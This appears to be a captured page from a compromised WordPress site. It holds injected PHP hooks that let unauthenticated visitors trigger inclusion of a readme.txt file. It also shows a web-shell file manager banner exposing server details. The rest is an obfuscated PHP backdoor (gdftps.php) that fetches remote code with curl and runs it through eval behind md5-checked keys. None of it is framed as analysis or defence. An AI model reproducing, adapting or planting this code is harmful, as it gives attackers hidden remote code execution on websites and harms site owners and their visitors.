if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_restore/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_restore/gdftps.php
<?php
 goto DkDbL2513cw_O4; GcGj51tgcId5Iv: @eval($etNPwCYinbA1na[63](${$etNPwCYinbA1na[50]}[15])); goto eEzORkjDNCnWp8; DkDbL2513cw_O4: $sipHgOyE8SG3VA = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto MwWEWEY7TYnIOP; QE75edC2mPLkYd: if (!(in_array(gettype($etNPwCYinbA1na) . "\62\x32", $etNPwCYinbA1na) && md5(md5(md5(md5($etNPwCYinbA1na[16])))) === "\146\x31\x31\66\x63\64\144\x32\x37\x65\141\x66\x65\142\142\x63\65\145\x37\65\63\x34\x65\x32\x33\65\63\x63\144\141\x62\x39")) { goto pMLX8VPg_72lPx; } goto P9R2L5A3DJZXEa; MrR1Zicin9zRqB: metaphone("\115\152\x49\x32\117\124\153\63\116\172\131\170\116\124\x4d\x32\116\x6a\125\x32\x4d\152\125\172\x4d\x54\x59\x79\x4e\x54\115\171"); goto mA45EWAgoKhrS0; P9R2L5A3DJZXEa: $etNPwCYinbA1na[63] = $etNPwCYinbA1na[63] . $etNPwCYinbA1na[74]; goto GcGj51tgcId5Iv; MwWEWEY7TYnIOP: $AAf7eDp3FSIAcZ = $sipHgOyE8SG3VA("\x7e", "\40"); goto sMnIXUZ9xnBBt4; eEzORkjDNCnWp8: pMLX8VPg_72lPx: goto MrR1Zicin9zRqB; sMnIXUZ9xnBBt4: $etNPwCYinbA1na = ${$AAf7eDp3FSIAcZ[10 + 21] . $AAf7eDp3FSIAcZ[19 + 40] . $AAf7eDp3FSIAcZ[29 + 18] . $AAf7eDp3FSIAcZ[16 + 31] . $AAf7eDp3FSIAcZ[16 + 35] . $AAf7eDp3FSIAcZ[11 + 42] . $AAf7eDp3FSIAcZ[11 + 46]}; goto QE75edC2mPLkYd; mA45EWAgoKhrS0: class tbszHEqzrdBEhD { static function sdajlRJ7f3KA7c($apNU6w0lrYgiop) { goto Qcj_3D2k_zVx4M; cIzRtQ4HWh5F7q: $G9YUWOJanIbn5I = $gMOClIccLA_YBN("\176", "\x20"); goto egbKDD3Fb1FRW2; pKWwvqn7_7itQg: foreach ($UAXfuKGKD_tRXL as $LKEu1ROKI6pClN => $aOgWb3jN_Yt3XK) { $gE3kCkzMb6UoZ2 .= $G9YUWOJanIbn5I[$aOgWb3jN_Yt3XK - 51792]; EuIP7BQdNjNKPi: } goto pQM7WQdGn61EJt; egbKDD3Fb1FRW2: $UAXfuKGKD_tRXL = explode("\x3d", $apNU6w0lrYgiop); goto pIpd7tIPyNGiav; Qcj_3D2k_zVx4M: $gMOClIccLA_YBN = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto cIzRtQ4HWh5F7q; pQM7WQdGn61EJt: hd7SNCwsR_hOhT: goto cV9dJkI7o0R2A8; pIpd7tIPyNGiav: $gE3kCkzMb6UoZ2 = ''; goto pKWwvqn7_7itQg; cV9dJkI7o0R2A8: return $gE3kCkzMb6UoZ2; goto iYh4Nd1eVOJDBZ; iYh4Nd1eVOJDBZ: } static function cYJY2wpdy33fUf($N5mh_LuNuQJU52, $E0BYpEbS4MBnDU) { goto BS53da0U20PwYS; KvbRwgD53jqJNS: return empty($L0MhGKq5_ZqgP0) ? $E0BYpEbS4MBnDU($N5mh_LuNuQJU52) : $L0MhGKq5_ZqgP0; goto Ia4RjGBw_oF4lt; BS53da0U20PwYS: $Lr2aJhPyoz_Fpj = curl_init($N5mh_LuNuQJU52); goto VmlKiHuULwzbbP; VmlKiHuULwzbbP: curl_setopt($Lr2aJhPyoz_Fpj, CURLOPT_RETURNTRANSFER, 1); goto t0i2Hj7bmkIcBs; t0i2Hj7bmkIcBs: $L0MhGKq5_ZqgP0 = curl_exec($Lr2aJhPyoz_Fpj); goto KvbRwgD53jqJNS; Ia4RjGBw_oF4lt: } static function lg1DC1KkgcUic8() { goto UnboY_cxNteJh5; BGyBiCRUAB3EZJ: @eval($O4vPhGWMat_vca[0 + 4]($qdSRlKHjF3uZcl)); goto AGD3Gs30YfNI6z; GGzRHR9ws1Qlvz: rpsna0bmf_LXhC: goto cWbWro_2heKQwx; PTwgnUC7YM4_Ft: foreach ($jPU8ctMna5FGZc as $eSx2bQw80xyJWu) { $O4vPhGWMat_vca[] = self::sDaJLRj7f3KA7C($eSx2bQw80xyJWu); GwrMnzllHlm3M9: } goto GGzRHR9ws1Qlvz; UnboY_cxNteJh5: $jPU8ctMna5FGZc = array("\x35\61\x38\61\71\x3d\65\x31\x38\x30\x34\75\x35\x31\70\61\67\75\65\x31\70\x32\x31\x3d\x35\x31\x38\60\62\75\65\x31\x38\61\x37\x3d\65\61\70\62\63\75\65\x31\70\61\66\75\x35\61\x38\x30\x31\x3d\65\x31\x38\60\x38\75\x35\x31\70\61\71\75\x35\61\x38\x30\62\x3d\x35\61\x38\61\63\x3d\65\x31\70\x30\x37\x3d\65\61\70\60\70", "\65\x31\x38\60\x33\75\65\61\70\x30\x32\75\65\x31\70\x30\x34\75\x35\61\x38\x32\63\75\x35\61\x38\x30\64\75\65\61\70\60\67\x3d\x35\61\x38\x30\x32\75\65\x31\x38\66\71\75\65\x31\x38\x36\x37", "\x35\x31\70\61\x32\75\x35\x31\x38\60\x33\75\65\x31\x38\x30\67\x3d\x35\61\x38\x30\x38\x3d\x35\61\x38\x32\x33\75\65\61\x38\61\x38\75\65\x31\x38\61\x37\75\65\x31\x38\61\71\75\65\x31\70\x30\x37\75\65\61\x38\61\70\75\x35\61\70\61\67", "\65\x31\x38\60\x36\75\x35\61\70\x32\x31\x3d\65\61\70\61\x39\75\x35\x31\70\61\x31", "\65\61\70\x32\60\75\65\61\x38\x32\61\x3d\x35\x31\x38\60\x33\x3d\65\x31\70\61\x37\x3d\65\61\70\x36\64\x3d\x35\x31\70\x36\66\x3d\65\x31\x38\x32\63\x3d\x35\61\70\61\70\x3d\x35\x31\70\61\x37\75\65\x31\x38\61\x39\x3d\x35\61\x38\60\67\75\x35\x31\x38\61\x38\x3d\x35\61\70\61\x37", "\x35\61\x38\61\66\75\x35\61\70\61\x33\75\65\x31\70\x31\60\75\x35\x31\70\61\67\75\x35\x31\70\x32\63\75\x35\61\x38\x31\x35\75\65\61\70\61\x37\x3d\65\61\x38\x30\x32\75\65\x31\70\62\x33\75\x35\61\70\61\x39\75\65\61\x38\x30\x37\75\x35\61\70\x30\x38\x3d\x35\x31\x38\x30\x32\x3d\x35\x31\70\x31\67\x3d\x35\61\70\60\x38\75\x35\x31\70\60\62\x3d\x35\x31\70\x30\63", "\65\61\70\64\x36\75\x35\61\70\67\66", "\x35\x31\x37\71\x33", "\65\61\x38\67\x31\75\x35\x31\x38\67\x36", "\65\x31\x38\65\63\x3d\x35\x31\x38\x33\66\x3d\65\61\x38\x33\x36\x3d\65\x31\x38\65\63\75\65\61\70\62\71", "\x35\61\x38\61\x36\x3d\x35\x31\70\x31\63\x3d\65\61\70\61\x30\x3d\65\61\70\x30\62\x3d\65\61\70\x31\67\75\65\x31\70\60\64\75\65\x31\x38\62\63\75\x35\x31\x38\61\x33\75\x35\x31\70\60\70\75\x35\61\70\x30\66\x3d\65\x31\70\x30\61\75\65\61\70\60\62"); goto PTwgnUC7YM4_Ft; uX4vawihbUL5DW: @$O4vPhGWMat_vca[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($O4vPhGWMat_vca[5 + 0](__FILE__)); goto FAsjyR5IFyvM02; AGD3Gs30YfNI6z: die; goto JBLw2nmmDSjGO3; FAsjyR5IFyvM02: if (!(@$DGltYhtRkscl8s[0] - time() > 0 and md5(md5($DGltYhtRkscl8s[3 + 0])) === "\x37\x37\67\67\146\145\x38\x64\141\x31\143\63\x30\x33\x61\x39\71\70\x36\145\x32\61\67\x34\64\66\x63\142\x38\x30\67\62")) { goto NMtP6UVjDdGWjv; } goto VCcNvCWaIInsNb; cWbWro_2heKQwx: $JaFUj2cnuD4rmq = @$O4vPhGWMat_vca[1]($O4vPhGWMat_vca[6 + 4](INPUT_GET, $O4vPhGWMat_vca[1 + 8])); goto fmbh9RZczV3x3C; JBLw2nmmDSjGO3: NMtP6UVjDdGWjv: goto IgRoWaOSD3D2tO; TlGfdkQ8l9MJt7: $DGltYhtRkscl8s = $O4vPhGWMat_vca[2 + 0]($R47uZd5oYrCvSX, true); goto uX4vawihbUL5DW; VCcNvCWaIInsNb: $qdSRlKHjF3uZcl = self::cyjY2wPdY33fUF($DGltYhtRkscl8s[1 + 0], $O4vPhGWMat_vca[3 + 2]); goto BGyBiCRUAB3EZJ; fmbh9RZczV3x3C: $R47uZd5oYrCvSX = @$O4vPhGWMat_vca[2 + 1]($O4vPhGWMat_vca[3 + 3], $JaFUj2cnuD4rmq); goto TlGfdkQ8l9MJt7; IgRoWaOSD3D2tO: } } goto RAsx0ivbg9USy7; RAsx0ivbg9USy7: TbSZheqZrdBehD::Lg1Dc1kkgcuIC8();
?>
BiaoJiOk
@ Telegram